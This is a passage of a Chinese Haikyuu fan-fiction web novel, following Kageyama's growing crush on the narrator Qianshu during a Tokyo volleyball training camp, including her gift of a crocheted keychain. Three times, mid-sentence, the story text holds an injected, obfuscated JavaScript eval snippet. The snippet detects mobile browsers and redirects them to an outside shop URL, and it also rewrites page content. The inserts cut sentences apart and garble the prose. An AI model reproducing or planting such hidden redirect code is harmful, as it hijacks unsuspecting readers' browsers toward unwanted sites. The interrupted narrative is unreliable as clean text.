影山君犹豫了一下,点了点头。 “那你跟我进来吧。”我扬了扬手里的钥匙,对他说。 鞋柜里有备用的拖鞋,我给他拿出来放在门口,自己先进去拿水杯,结果端着两杯奶茶出来的时候,他还对着那双拖鞋大眼瞪小眼。 “看什么呢?拖鞋也不会自己跑到你脚上呀?”我忍不住笑了,“还不进来?” 影山君犹豫了一下,小声地说了一声“打扰了”,然后拘谨地穿拖鞋进了房。 我把奶茶递给他,先在沙发上坐下,喝了一口:“真的很好喝!” 影山君拘束地坐在我边上,也喝了一口:“嗯……” 我快活地捧着杯子,发出满足的喟叹:“下次要带仁花她们也去喝,她们肯定也很喜欢,之前一直没有喝上真可惜呢……” “喜欢的话,下次……”影山君的话还没说完,门口传来钥匙开门的声音,我探过头去,看见是表哥回来,立刻高兴地跟他招手:“表哥你回来啦……” 话音未落,身边的影山君仿佛弹簧一般从沙发上弹了起来,同手同脚地走了两步,和表哥沉默地开始对视。 表哥挑了挑眉,我连忙向他介绍:“这个是影山飞雄影山君,之前表哥你也见过的,是我们排球部的二传。” 接着我又转头看向影山:“影山君,这是我的表哥李小狼。” 表哥好像不太高兴,高冷地冲着影山一扬下巴:“你好。” 我连忙和影山君解释:“表哥他不是凶,他就是这样的,是个酷哥,你别紧张。” 只是效果似乎不太好,影山君结结巴巴地和表哥开始介绍自己:“您……您好,初次见面,我叫……我叫影山飞雄。” 表哥看了一眼墙上的时钟,没有说话,我连忙打圆场:“影山君今天是不是还没有复习呢?抓紧时间回去温书吧,还要补考呢……” “呦,”表哥阴阳怪气,“期末考没及格啊……” 影山:“是!我下次会努力的!” 我:……倒是也不必如此。 “那个,”我小心地开口,“影山君下次有机会再来我家玩吧?” 影山:“好!” 34.远征 “他今天怎么过来了?”表哥看着我手里的奶茶拧着眉毛问。 “来给我送奶茶,挺好喝的,表哥你也喝一点吗?”我一边说着,一边拿了个杯子给表哥倒了一点,“这家店新开的,下次你可以买给小樱姐喝。” 表哥接了奶茶,一脸欲言又止,半晌才说了一句:“下次不要把男生单独请到家里来。” 说完,表哥想了想又补充了一句:“至少要在我在家的时候。” 我点点头,但还是满不在乎地说:“表哥放心啦,影山君脑子里只有排球,根本不想别的事情的。而且他以前还亲口说过,他一点都不喜欢我。” 我捧着杯子笑眯眯地对他说道:“要不是亲耳听过他说这些话,我也要想歪了。” 表哥:“……算了。” 手机“滴滴”响了一声,我打开手机,发现是影山君给我发的消息:“晚安,千树。” 我给他回了消息:“嗯嗯,明天见!” 影山和日向的补习依然继续,仁花还在坚持帮两人补习,我只时不时地过去看一眼,然后发现了一个华点。 “补考考的是同一张卷子吗?”我看着那张和之前一模一样的卷子,迷茫地问道。 几人都冲我点了点头。 “那应该没什么问……”我凑过去看两人的分数。 48。 52。 这到底是怎么做到的? 一模一样的卷子一模一样的题!答案死背都背下来了啊! 我不可置信地看向两人,影山君和日向君捂着自己的脑袋,惨白着脸说:“总感觉考完试以后,知识随时随地都在从脑子里溜走……” 我:…… “虽然是个笨办法,但是既然考一模一样的卷子,单纯为了通过补考的话,先把答案背下来吧。”我捏着眉心道,“我不是说考试的知识点不重要的意思,知识点也要复习也要补,只不过是权宜之计……” 两个人悲哀地点点头。 但只能说,在知道考同一张卷子之后,我对两人未免更担心了。 坐在前往东京的大巴上,我心不在焉地刷新手机的消息,虽然知道他们应该还在考试,却还是忍不住有些担心。 “还在担心王者和小不点?”月岛看见我的动作,挑了挑眉。 “是啊……”我忍不住叹了口气,“万一真的考不过……” “那俩家伙,应该拼死都要考过吧?”月岛君冷笑一声,“这都考不过的话,找个排球撞死算了。” 我:…… 大巴终于到了场地,田中前辈和西谷前辈看见路边的铁塔,立刻激动地大喊:“天空树!” “不是哦,”我提醒两人,“田中前辈,西谷前辈,那只是一个普通的信号塔,天空树不长这样。” “千树去过天空树吗?” “没去过,但是电视里和书上看到过。” 眼看着音驹的队长顶着鸡冠头一脸坏笑地看着这边,我连忙催促两个前辈:“快去吃点东西热热身吧,不要给音驹抓住机会了。” 黑尾前辈:“我还什么都没说呢!” 乌野和音驹的关系不错,大家进行了一番“亲切友好”的交谈,上次音驹来的时候仁花还没进队,她有点怕生,一直躲在我身后,我则牵着她的手,小心翼翼地绕过群魔乱舞的运动少年,跟着洁子学姐朝着体育馆走去。 但是果然,躲是躲不过去的,音驹的莫西干头又发出了绝望的叫喊:“乌野的经理变成三个了!” 田中前辈,不要露出奇怪的表情…… 枭谷学园联盟除了枭谷和音驹外,还有生川和森然两所学校,好处是除了音驹之外,剩下的学校都有经理,倒是不用担心所有的工作都要落到我和仁花洁子学姐三人身上。 “需要做什么呢?”我也是第一次参加这种大规模的合宿,没有什么经验,小声问洁子学姐。 不过其他学校的几个经理都很热情,她们经常凑在一处做后勤工作,合宿的工作和流程都已经得心应手了,白福学姐笑眯眯地和我们三人说合宿的安排和各项工作,我们也拿出笔记本,一一都记了下来。 “哎呀,乌野这次合宿看来会很辛苦呢……”白福学姐看着又一次绕场一圈鱼跃的乌野众人,忍不住道。 “因为……乌野还有大杀器没有来嘛!”我笑眯眯地回道。 手机响起消息提示音,仁花和洁子学姐都看向我,我连忙掏出手机,是影山君传来的消息。 “通过啦!”我的声音终于藏不住雀跃,“正在马不停蹄朝这边赶来!” ------ 影山把那张卷子上自己不懂的题目搞明白了十之七八,又死记了接下来的答案,终于堪堪飘过了补考的通过线,接着就和日向朝教学楼外飞奔。 他对千树的敬佩又上一层,这么难的卷子,他做好几遍都做不明白,千树居然第一遍做就能够拿那么高的分数,他和千树的脑袋果然不是一个构造的吧! 为了节省时间,他坐上冴子姐的车之后才掏出手机给千树发消息,结果刚刚打完一个“我”字,车就猛地一甩尾巴,手机飞了出去。 他座椅上爬起来,把飞出去的手机捡起来,那个“我”字已经发了过去,千树给他回了一个问号。 他连忙捡起手机把剩下的字打完:“我通过了!” “日向也通过了!” “已经坐上车了,冴子姐说东京分分钟就到!” 【一年五班李千树】:小狗撒花.gif 影山看着那个蹦蹦跳跳的小狗撒花表情包,没忍住漏出了一点微笑,像是偷尝夏日里的雪糕一般,眼疾手快地把表情包收藏了,然后合上手机,向前看去,却对上了冴子姐一脸玩味的表情。 “给谁发消息呢,笑这么开心,女朋友啊?”冴子姐揶揄道。 “不……不是,不是女朋友……”影山结结巴巴地反驳道。 日向忍不住哈哈笑起来:“冴子姐,这个家伙不可能有女朋友的啦,他人缘可差了!” “混蛋日向你说什么!” “影山,被我说中了吧!” “不是女朋友,那就是喜欢的人吧?”田中冴子一副看透了的表情,“这个表情出现在你脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13097573|135489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上确实还挺新鲜的,和你不太搭。” 日向又是没心没肺地摆了摆手:“影山那个家伙不可能的啦……” “嗯……”后座传来细若蚊呐的一声轻哼。 日向还以为自己听错了,嘲笑声戛然而止,不可置信地转过头:“你说什么?你有喜欢的女生了?” 影山把头又往手里埋了埋,用几乎听不见的声音应了一声:“嗯……” 有如晴天霹雳打在日向头上,他身子晃了晃,生无可恋地倒在座位上。 “影山有喜欢的人了,你这么绝望干什么?” “我还没有喜欢的女生,”日向双眼空洞地看向窗外,“输给影山了……” 田中冴子哈哈笑了几声,又忍不住和影山八卦:“喜欢的女生什么样啊?放心,姐姐我绝对不说出去。” “嗯……她,她很漂亮,”影山结结巴巴地说,“也很聪明,成绩很好,人也很好,所有人都很喜欢她……” 他想了想,又补充道:“虽然不会打排球,但是对排球很了解,而且做事情非常认真。” 影山笨拙地夸奖着,他不知道怎么描述千树是一个多好的人,但总觉得似乎用什么样夸奖的词汇来形容千树都不为过,田中冴子听着,还多少觉得是情人眼里出西施,谁知日向立刻就反应过来了:“影山,你喜欢千树桑啊?” 日向的语气听起来太过震惊,以至于影山下意识凶巴巴地反驳:“是啊!” 反驳完他又觉得自己喜欢千树似乎是有些不知好歹,语气慢慢弱了下去:“怎……怎么了,不行……吗……” “倒是别泄气啊,怎么说话声音还越来越小了呢?”田中冴子好笑地从内视镜里看了一眼坐在后座委屈巴巴的影山,“那女生呢,喜欢你吗?” “千树桑怎么都不可能喜欢影山吧……”日向打量了一番影山,老气横秋地发表了看法。 “嗯……”影山小声承认,“她以前喜欢,现在不喜欢了。” “站起来挺高的一个男生,怎么说起这事来畏畏缩缩的?你打排球的时候也这样吗?”田中冴子不满地皱了皱眉。 “当然不是!”影山立刻反驳。 “那不就行了?拿出你打排球比赛的态度去追呗!”田中冴子给他鼓劲,“大大方方的,就算女生最后拒绝了你也没事啊,至少你努力过了啊!” “可是……可是……我不会追女生……”影山小声道。 “这有什么不会的?”田中冴子苦口婆心,“时时刻刻想着女生,用尽浑身解数对她好,怎么对人好你还不会吗?” 影山沉默了一瞬,小声说:“在学了。” 日向沉痛地道:“影山,任重而道远啊!” “闭嘴,日向!” 去东京的路途很长,影山在后座躺下,却没能睡着。 他确实不知道该怎么对人好。 不过千树对他很好,这他还是知道的。 所以,至少千树怎么对他,他就应该怎么对千树吧? 影山在心里模模糊糊地探寻“对人好”这三个字的边界,终于熬不过困意,沉沉睡去。 35.分糖 “千树学妹,这就是你们乌野的秘密武器?”和西谷学长抹了同样分量发胶的木兔学长站在我身边,好奇地看着正在因为长途坐车呕吐的日向以及因为日向而手忙脚乱的影山。 虽然两个人看起来就像是俩笨蛋愣头青…… “是的,木兔学长。”我礼貌地回话。 “嘿嘿嘿!我等不及要和乌野打一场了!”猫头鹰学长双眼发亮。 “木兔学长,”赤苇学长冷静地开口,“下一场枭谷不和乌野对战。” 木兔学长不死心:“那再下一场……” “这是今天最后一场了,木兔学长。” 高大兴奋的木兔学长瞬间变成豆豆眼,生无可恋地看向赤苇学长:“赤苇……” 我明显看见赤苇学长表情一僵,冷静的声音也出现了一丝微不可察的慌乱:“……但是明天早上第一场就是和乌野对战,木兔学长,要为明天的练习赛做好准备。” “哦——”木兔学长瞬间信心满满地扬了扬手臂,朝着枭谷的练习场地跑了过去。 赤苇学长这才松了口气。 我震惊地看了看枭谷王牌的背影,又看了看脸上显出一点劫后余生模样的枭谷二传,他冲我点了点头:“见笑了,木兔学长如果情绪不好的话,会很麻烦。” 我:“……理解。” 突然感觉乌野的这群一年级也没有那么难搞。 我从包里找出几枚糖果,递给刚刚漱完口的日向:“日向君,吃颗这个糖吧,晕车的时候吃点酸的会好很多。” 橘子小狗颤颤巍巍地接过糖果,面色灰白地和我道谢。 看来冴子姐姐的车技确实……出类拔萃。 “千树,我也想要。”本来站在一边默不作声的影山君也出声和我要糖果。 “哎?”我惊讶了一下,还是把糖递了过去,“影山君也晕车了吗?” 面色红润的影山君躲开我的眼神中气十足地应了一声。 “在说什么?”山口君也凑上来。 “在分糖,山口君要吗?”我给山口也递了一颗。 “我也要。”月岛站在山口身后开口。 我:…… 你们是什么幼稚园生吗?排排坐吃果果? “好好好,都有都有……”身为幼稚园老师……不对,身为球队经理,这一碗水我当然得端平,保持着微笑给大家都分了糖。 “混……月岛能吃这么酸的糖吗?”影山瞪着月岛。 “我就喜欢吃酸的。”月岛面不改色。 依稀记得月岛喜欢吃甜食的我:…… 幼稚园对他们来说,是不是还是大了一点。 和教练他们打过招呼的冴子姐看见我们凑在一处,也走过来:“这么多人,在干什么呢?” 我习以为常地递过去一颗糖:“在分糖,田中姐姐吃吗?有点酸。” “叫我冴子姐就好啦!”她接过糖,撕开包装丢进嘴里,立刻被酸得把五官皱成一团,“……好酸,你们都喜欢吃这么酸的?” 月岛影山:“对!” 冴子姐若有所思地看看面无表情吃着糖果的排球部员,又看了看我,突然问道:“你就是李千树吧?” “是的,冴子姐怎么知道我的名字?”我惊讶地道。 身边影山君不知为何突然手忙脚乱起来,两只手愣是被他挥出了三头六臂的残影。 “影山君?”我疑惑地开口,“你被糖果呛到了?要给你用海姆立克急救吗?” “又不是小孩子了,还会被糖果呛到,真不愧是王者。”月岛君不忘开嘲讽。 “我没有!”影山君恶狠狠咬牙,“你才是小孩子!” 冴子姐一揽我的肩膀,十分自来熟地和我亲热道:“哎呀,早就听过你的名字了,我家龙一直受你照顾了呀!” “没有这种事冴子姐,”我连忙道,“是我一直受田中学长照顾才对。” “哎呀,龙那家伙我还不知道吗?”冴子姐冲我眨了眨眼,“早就听说你人又好,成绩又好,长得又漂亮,果然是名不虚传呀!” 我简直受宠若惊,一边摸不着头脑地连连道谢,一边疑惑地看见影山君的脸莫名其妙变红了。 冴子姐是在夸我没错吧? 冴子姐“嘿嘿”一笑,似乎还想说什么,却被教练和小武老师叫走了,他们几个作为在场为数不多的成年人,大概晚上要一起去喝一杯。 我收拾收拾准备开始今天最后一场练习赛,影山却在一边徘徊。 “影山君,还不去热身吗?练习赛马上要开始了哦!”我提醒他。 他如梦初醒一般,直接在我身边开始热起身来,一边活动着自己的手指和关节,一边问我:“千树今天怎么样?” “乌野今天不太好,打到现在一次都没赢过,枭谷联盟里的所有学校都很强,不止是音驹。”我摸着下巴说,“音驹不用说,枭谷的王牌状态好的时候可以排进全国前三,生川的发球很强,森然的多发式同时进攻也让人目不暇接。” 我摇了摇手里的本子,眼睛闪闪发亮:“学到了很多呢!” ------ 影山不是在说这个…… 一向喜欢和人家说排球的影山,第一次感受到别人和他对牛弹琴时的无奈。 冴子姐说对一个人好就要从关心一个人开始,他这才一上来就问了千树今天怎么样。 结果千树浑然不觉,而是一门心思地和他点着在场各个学校的优点。 他在期待落空的失望里,又发现自己松了口气。 他究竟是希望千树发觉,还是不希望她发觉呢? 影山察觉自己的心意不过这么几天,都已经陷入了这样的纠结里,那在从前影山浑然不觉的日子里,千树又是以怎样的心情和他相处的呢? 裁判吹哨,最后一局练习赛即将开始,影山看着背过身整理东西的千树,张口问:“千树,七夕祭……” “王者,该上场了。”月岛站在他身后,平静地打断了他的话。 “嗯?你刚才说什么?”千树转回头,迷茫地看向他。 “没什么,”影山看着目光沉静的月岛,没再继续这个话题,“晚些再和你说。” 他是故意的,影山听见心里的声音道。 月岛喜欢千树,是他早就已经发现的事实,而现在,他喜欢千树,月岛也知道了。 影山默不作声地走到月岛面前,第一次觉得自己的心情和想法比球场上的布局还要清晰。月岛比他稍微高一点,他不得不微微扬起下巴,才能直视月岛的眼睛。 “我会赢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13114696|135489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的。”他毫不退让地看着月岛。 “这不是比赛。”月岛眼里也没有退意。 “在说什么呢?就算不是比赛,练习赛就不该赢下来了吗?”田中龙之介狠狠地一拍两人的背,“快点!要发球了!” 月岛被田中拍得弯了弯腰,扶正歪掉的眼睛,没再纠缠,走到网前双手放到后脑勺,目光却往场边靠了靠,千树和谷地同学站在一处,千树正在细声细气地和谷地同学交代需要她记录哪些东西。 这不是比赛,他把眼神挪回来,重新关注着场上那个小小的三色球,在心里想。 但是他也不会输的。 乌野终于赢下了今天的第一局,第一次免去了环绕场地一周鱼跃的命运,乌野众人眼里都放出了生还的光芒。 影山活动活动肩膀,他才打了今天的第一场练习赛,和他平日的运动量而言根本不算什么,甚至远远没有尽兴。 “影山!”日向喊他,“自主练!” 影山自然没有异议。 一天下来,乌野和其他学校的差距尽显,每个人心里都多多少少产生了一点焦虑感,思考着自己究竟该如何才能继续进步。 月岛自然不会参加自主练,练习赛一结束就找地方休息了。 “千树桑!”日向冲着场边收拾场地的女生招了招手,“帮我们抛球吧!” 千树从前从不会让影山做他不愿意做的事。所以影山看见女生看着他们,歪了歪头,张嘴刚要说话,就立刻皱了眉,训斥日向道:“也不能总让千树帮我们抛球吧!她做了一天经理的活,很累的!” 场上寂静了一瞬,乌野的众人都停下手里的动作看向影山,目光无比惊异。 影山浑然不觉,继续皱着眉和日向说:“而且都到千树休息时间了,她也有自己要做的事情啊!这又不在排球部经理的职责范围内!” 日向迟钝地转了转眼珠,垂头丧气地应了一声。 远处本来要跑过来的女生因为影山刚刚那句话左脚绊右脚,华丽地上演了一个平地摔。 之前每次影山因为排球受伤,千树都会第一时间过来,问他有没有事。 于是等她从地上抬起头来,揉了揉自己因为砸到地上变得通红的鼻尖时,影山已经蹲在她面前,朝她伸出手,结结巴巴地问:“要……要不要去医务室?” 像是这样的动作和台词对他来说都还不熟练,他在心底揣摩了几百遍,这才青涩地在众人面前上演一样。 菅原泽村和缘下开始抱胸思考,田中和西谷也显得表情古怪,不过还是很快也凑上前:“千树学妹,没事吧?” “啊,没、没事。”李千树结结巴巴地说,犹豫了一下,借着影山的手起身。 在她伸手抓住影山手的一瞬间,影山感觉自己的手颤动了一下,忍住了没有缩回手。 掌心和另一只柔软的手掌相贴,即便他只在剧烈的心跳和几乎窒息的氛围里悄悄瞥了一眼,也能发现李千树的手比他小了很多。 少女的手一触即离,起身后李千树就神色自然地收回手,拍了拍身上的衣服,和影山道了谢。 “没事。”影山悄悄把那只手藏到身后,感觉心里又生出了一点隐秘的渴望,像是还想继续打排球一般的贪婪和不尽意。 下次,想握得再久一点。 36.影山织 总之最后稀里糊涂的,白福学姐催着我们几人早些去吃饭,不然错过了饭点就只能饿肚子了。在暑期巨大的训练量背景下,一肚子饿到第二天早上,可不是什么轻松的事。 所以大家的自主练都被迫暂时停止,推推搡搡朝着食堂进发,我也就没有帮影山君和日向君抛球。 影山君没有第一时间和那些运动少年们跑去吃饭,而是收拾好自己的东西,在体育馆边上沉默地用脚底碾着地上的草芽,听着虫鸣声发呆。 窗外一直有属于夏季的虫鸣声,在夏夜里显得愈发吵闹,嗡鸣着喧腾夏日的暑气,扰得人都心浮气躁的。 我看见门口还未离去的身影,疑惑地出声:“影山君?” 他像是被我的叫声吓了一跳,背着我手舞足蹈了半晌,这才转过身来,结结巴巴地和我打招呼:“千……千树。” “怎么还不去吃饭?再不去可没东西吃了。”我穿好鞋,走到影山君身前。 “吃!”影山君人站得笔直,像一张拉紧了的弓,几乎让人担心他一不小心就会崩断,“千……千树要、要不要一起去吃?” “好啊,走吧。”我将肩膀上的背包又往上提了提。 “背包很重吧?我、我来帮千树提吧!”影山君伸出手。 “啊,没事……”我下意识拒绝道。 但是影山君已经伸出手,不由分说从我肩上接过了背包,背在了自己的肩膀上。 我的背包不用装排球的那些用具,只是一个普普通通的白色单肩包,别了几个可爱的徽章,还挂着一个排球的挂件,缀了零星两三个银色的小铃铛,在影山的动作下免不了相撞,发出清脆的叮咚声。 影山君的排球包也是白色的,比我要简朴许多,除了牌子的英文字母和几道花纹,便只挂了我上次送给他的御守,别的什么也没有。 两个包贴在一起,一大一小,同样的色系,居然莫名让人觉得是同一系列的背包,好像是约着一起买的一样。我看得脸热,连忙移开眼睛,却看见影山君看了一眼那个排球挂件,又开了口:“这个挂件……千树之前不是说改日给我一个?” “啊,挂件啊……”我开始沉默。 影山君半天没等到我的回答,有些慌张起来:“我……我不是在和千树要东西……不是,千树不想给也没有问题的!” “不是不是,影山君别误会,其实挂件……我算是准备好了。”我艰难地开口,“只是……” 影山君迷惑地歪头:“只是?” “那个,本来打算送给影山君的排球挂件,是我拿毛线自己钩织的,但是做得很丑,就没好意思拿给影山君……”我不好意思地说道。 明明教程看起来很简单,知世姐姐钩织出来的排球也很规整,看着知世姐姐的动作,我以为我手里的排球也能和她手里的长得一样整齐好看,但是我自己钩的排球,就像是把哈哈镜里的自己当成了偶像,坚定不移地向着歪曲的方向进发。 “怎么会!千树织的排球肯定很好看!”影山君两眼闪烁着坚定的光芒。 不要被我的外表和我平时做饼干的表现蒙蔽啊影山君…… “影山君想要吗?就算那个排球真的很丑?”我小心翼翼地问。 影山君的头点得和他的眼神一样坚定。 “那你等一下。”我绕到他身侧,在我的包里开始翻找。 排球的挂件被我搁置在书包里很久了,不知道在哪个角落里,我只好伸手进去在深处仔细翻找。 我本想把背包拿下来,影山君却表示不用,他继续背着就行,我就只好站在离他只有咫尺之距的地方,努力地在夏夜里寻找那个黄蓝白相间的踪迹。 影山君虽然刚刚打完球,身上却没有班级男生上完体育课时常会有的那样难闻的汗臭味,反而透着洗涤剂清清爽爽的香味。因为离得太近,我甚至能闻出来他用来洗衣服的是哪个牌子的洗衣液。 脸上好像有点烫。 东京的夏天真热。 ------ 李千树比影山要低将近一个头,她低着头在自己的包里翻找东西时,毛茸茸的发顶就刚好停在影山眼前,头顶有几根发丝翘起,在体育馆透出的光亮里显得亮晶晶的,连带着千树都好像是从动物园里跑出来的小动物,可爱又懵懂。 夜风裹起千树的发丝,送来一股甜丝丝的荔枝香,挤进影山的鼻子里,惹得他鼻腔也痒痒的。 千树身上似乎总有这样甜丝丝的荔枝味,从上次千树帮他看后脑勺伤势的时候影山就闻到了,就是一直不知道为什么她身上总有这种甜香。 影山鬼使神差地抬起手,下意识想伸手揉一把千树的发顶,但好在在他的手即将摸上千树的头发时回了神,及时停住这危险的想法。 千树抬起头,看见他抬到一半的手忽然拐弯摸了摸自己的鼻尖,疑惑地眯了眯眼。 影山不敢再动,僵硬地站着,干巴巴地开始找话题:“没有……我不是……我是想问……千树喷香水了吗?身上好香!” 千树的表情变得奇怪了一些,不过还是好好地和他解释:“不是哦,是我的洗发水沐浴露和洗衣液吧?我很喜欢荔枝的香味,所以都用的荔枝味。” 她一边在书包里翻找,一边漫不经心地提醒影山:“不过下次不要轻易和别的女孩子说她身上很香哦,会被当成变态的。” 影山的笑容再次凝固在嘴角。 他就说为什么刚才千树用那样奇怪的表情看了他一眼!到底什么样的关心才是关心,什么样的关心算是骚扰啊! 影山皱着眉头开始新一轮的思考,却后知后觉地想起来另外一件事。 以前每次打完球,美羽都会很嫌弃地把他赶走先去洗澡,说他打完球身上臭死了,禁止他和她有任何一米以内的接触。 他是不是不应该在打完球的时候离千树这么近的? 千树身上香香的,他身上该不会有什么奇怪的味道吧! 可是周围除了千树身上甜蜜的荔枝香,影山什么也没闻到,甚至连夏夜里常常随着虫鸣一起喧闹起来的青草香都被千树的味道给盖过了,影山隐蔽地四下里闻了闻,除了荔枝,一无所获。 不知千树找了有多久,影山觉得仿佛一个世纪过去了,才终于听见她兴奋地喊了一声:“找到了!” 千树抬起眼笑了笑,眼睛完成一个月牙,人往身后撤了一步,眼里的银色的月光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13127698|135489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 却绚烂了起来。随着她的后撤,空气里的荔枝甜香也淡了些,青草的味道骤然钻进鼻腔,影山恍惚间居然觉得有些落寞。 “影山君,这个……真的没关系吗?”千树将手里的挂件又提了提,看上去十分没有自信。 她手里提着一个歪歪扭扭的排球钩织挂件,和她包上挂的差不多,也缀了金色银色的小铃铛。如她所说,挂件有些粗糙——排球都不圆了——但是影山却觉得,这一定是世界上最美丽的艺术品。 他小心翼翼地咽了口唾沫,这才开口珍重地问道:“可以给我吗?” “哎?影山君不嫌弃的话就拿着吧,之前就说要给你的,就是做得太丑了一直没好意思送……”千树挠了挠后脑勺,不好意思地眨了眨眼。 “十分感谢!”影山轻轻从千树手里接过那个排球挂件,又仔细地挂在排球包上,和之前千树送的御守挂在一起。 夜风吹过,他包上的铃铛与千树包上的铃铛一同响了起来,分不出究竟是谁的铃铛发出的轻响。 “影山君要挂包上吗?嗯……果然还是等我织个好一点的再送给影山君吧?这个实在是太丢人了……”千树看见他把排球挂到包上的动作,一下子显得有些慌乱。 “不用,”影山认真地说,“这个就很好了,谢谢千树。” 千树自己手织的排球……就算针线有点歪又怎么样?这可是千树织的排球!找遍全世界,也就只有这一颗!和其它排球都不一样! 影山用手小心地抚摸着排球上针织的纹路,看见它和御守贴着,皱了皱眉。 挂在包上的话,他每天背着包走来走去,如果一不小心碰到什么东西,会不会很容易把这颗排球刮坏?可是他又想要这颗排球时时刻刻陪着他,不想把它放起来…… “影山君?”千树的声音把影山拉回现实,“在想什么?” “在担心挂在包上会不会坏。”影山诚实地道。 千树愣了一下,又在包里开始翻找,这回东西找得很快,是一个透明的自封袋。她把袋子套在排球上,捏紧袋口,将链条与铃铛重新挂回袋子留的小口上:“你看,这不就行了!” 千树低下头,把那个挂件重新挂在影山的包上,她还伸出一只手指戳了戳那个小排球,叹了口气:“真不想承认这个排球是我织的……应该叫排球影山织。” 影山:? 千树抬起头,一本正经地道:“因为这个排球很有影山君的风格,所以应该叫影山织。” 影山脑子转了转。 千树的意思是不是,这个排球因为很丑,所以很像是他织的? 他刚要反驳,千树已经眼疾手快地对着那个小排球道:“好,从今往后你就叫影山织了!” 影山嘴角无意识地上扬了一点,脑子却迟钝地冒出一个想法,把他从脖子烧到耳朵根。 “影、影山君?你没事吧,脸好红,是太热了吗?”千树关心地道。 影山克制地悄悄向后撤了半步,把自己从淡淡的荔枝香里再次拉出来,好叫自己清醒一点,不要做一些不切实际的幻想。 “是、是天太热了吧。”影山支支吾吾地道。 “是啊,今天好热。” 37.校园怪谈 影山背着那个带着“影山织”的背包,感觉自己的脚底都打飘,一步步好像踩在棉花里,险些撞在食堂门口的玻璃门上。 好在李千树眼疾手快,在他就要撞上去前一把把他给拉了回来。 影山道完谢,看见食堂里陆陆续续有学生走了出来,李千树和站在远处的仁花招了招手,便转头和影山道:“谢谢影山君,包给我吧,我和仁花一起去吃饭。” “可以和我一起吃吗”这句话在嘴里转了两圈,还是被千树这话给挡了回去,影山垂头丧气地拿下肩膀上的背包,递给千树的时候小心翼翼地问道:“以后还可以帮你背包吗?” 李千树愣了愣:“呃,当然可以,就是会不会太麻烦影山君了?” “不麻烦不麻烦!”影山的背都立刻挺得直了些,“千树快去吃吧,一会儿饭都凉了!” 他美滋滋地看着千树背着包走向仁花,接着把自己的包从侧面转到前面,刻意一路走得大开大合,让书包上缀着铃铛的排球上下蹦跳,随着他的动作发出响亮清脆的铃声。 “哇,影山,你包上挂了个什么?”日向果然被他吸引,“一个蓝白黄的……嗯魔方?” “是排球,你个笨蛋!”影山大声反驳道,路过月岛和山口时,还故意停下来系鞋带,好让那个排球挂件在月岛眼前多停留一会儿。 “这怎么可能是排球嘛,排球是圆的又不是方的!”日向大声笑了起来。 影山带着警告的微笑看了一眼日向,又下巴扬起看了一眼月岛,最后仰着头高傲地走了。 月岛:“他什么毛病?” 山口:“不知道……” 影山用饭堵住日向的嘴,又拍掉了日向想要摸一摸排球挂件的手,矜持地将包放下,仔细地摆好挂件,这才狼吞虎咽地开始吃饭。 前后反差过大,以至于大家不免对那个挂件又多看了几眼。 “影山,这个排球是别人送的吗?”菅原问道。 “是的。”影山认真地吃着饭,用力地点了点头,“它还有名字。” 菅原和泽村对视了一眼:“什么名字?” “影山织!”影山得意地一扬头。 “噗哈哈哈哈哈哈哈哈,影山织哈哈哈哈哈哈哈!”日向把嘴里的饭咽完了,笑得前仰后合,“还别人送的,就是你自己织的才织得这么丑,所以叫影山织吧!” 影山面无表情地把日向按进了饭碗里。 菅原和泽村心里有了数,没有再继续询问。全程围观的黑尾铁朗吹了个口哨,露出一点坏笑,把场面引向另外一个话题:“话说回来,乌野是第一次来参加合宿呢,也得亏你们能顺利地走过来。” 影山眉毛一皱,但看向这位比他大两年的学长,还是老老实实用了敬语:“黑尾学长这是什么意思?” 黑尾笑了笑,刻意压低了声线:“你们不知道吧,关于这所学校的怪谈。” “怪谈?”木兔光太郎好奇地凑上前,日向等人都忍不住原地打了个哆嗦,紧张地望向笑得不怀好意的黑尾铁朗。 “音驹有这样一条禁忌哦,天黑之后,是不能单独走在校园里的。”黑尾摇着手指,一脸玩味。 日向咽了口口水,问道:“为什么?” “据说这所学校建起来之前,这里都是一片坟场,如果在天黑之后单独走在学校里,容易被一些东西盯上。它们会伪装成学生的样子,假装让你指路,或者说它的东西掉了,让你帮忙找一找之类的。如果你答应它,就相当于答应它打开通往阴界的路,从此你就会被它们抓走,再也回不来了!” “啊啊啊啊啊——”日向翔阳和木兔光太郎一起尖叫起来,抱着自己的脑袋瑟瑟发抖。 “赤苇,如果我被鬼抓走到阴界了,我还能打排球吗?”木兔瞪着豆豆眼,问坐在自己身边慢条斯理地吃饭的赤苇京治。 猫头鹰饲养员福至心灵:“肯定是不能的,木兔学长。” “啊?那怎么办!被鬼抓走了我就不能打排球了!” “所以木兔学长不要乱跑,吃完饭以后跟随大部队活动,不要落单就不会被鬼抓走了。” 